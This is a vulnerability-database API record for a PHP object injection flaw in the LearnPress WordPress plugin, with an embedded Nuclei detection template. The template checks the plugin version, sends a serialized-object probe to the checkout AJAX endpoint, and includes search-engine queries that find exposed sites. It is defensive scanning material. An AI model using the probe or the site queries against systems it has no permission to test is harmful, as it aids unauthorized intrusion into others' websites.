{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-104736/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-104736/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-104736/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-104736/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-104736/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-104736/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2026-104736"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2026-104736"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.02524,"kev":false,"percentile":0.84869},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-104736.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-104736\n\ninfo:\n  name: LearnPress <= 4.4.9.1 - PHP Object Injection\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.\n  impact: |\n    Unauthenticated attackers can inject PHP objects, potentially leading to remote code execution or full system compromise.\n  remediation: |\n    Update to the latest version beyond 4.4.10.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3e28e008-0ec1-4262-9ac0-6170cf8b8bdf?source=cve\n    - https://patchstack.com/database/wordpress/plugin/learnpress/vulnerability/wordpress-learnpress-wordpress-lms-plugin-for-create-and-sell-online-courses-plugin-4-4-10-unauthenticated-php-object-injection-vulnerability\n    - https://github.com/murrez/CVE-2026-104736\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-104736\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-104736\n    epss-score: 0.02524\n    epss-percentile: 0.84917\n    cwe-id: CWE-502\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: thimpress\n    product: learnpress\n    fofa-query: body=\"/wp-content/plugins/learnpress/\"\n    publicwww-query: \"/wp-content/plugins/learnpress/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,deserialization,php,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/learnpress/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"LearnPress\")'\n          - 'compare_versions(plugin_version, \"<= 4.4.9.1\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        lp-ajax=checkout&checkout-email=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22{{rand_text_alpha(4)}}%22%3Bs%3A3%3A%22poc%22%3B%7D\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"LP_AJAX_START\")'\n          - '!contains(body, \"invalid_email\")'\n        condition: and\n# digest: 4b0a00483046022100ff2a320fa74d9814aa94d49403441084c227299989e19fe4ee95f39c243d5efb022100ba713eb1d113b980d340dca97f3d8e7959806ce3e66a727d3eef6c88adafa5b0:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-104736"}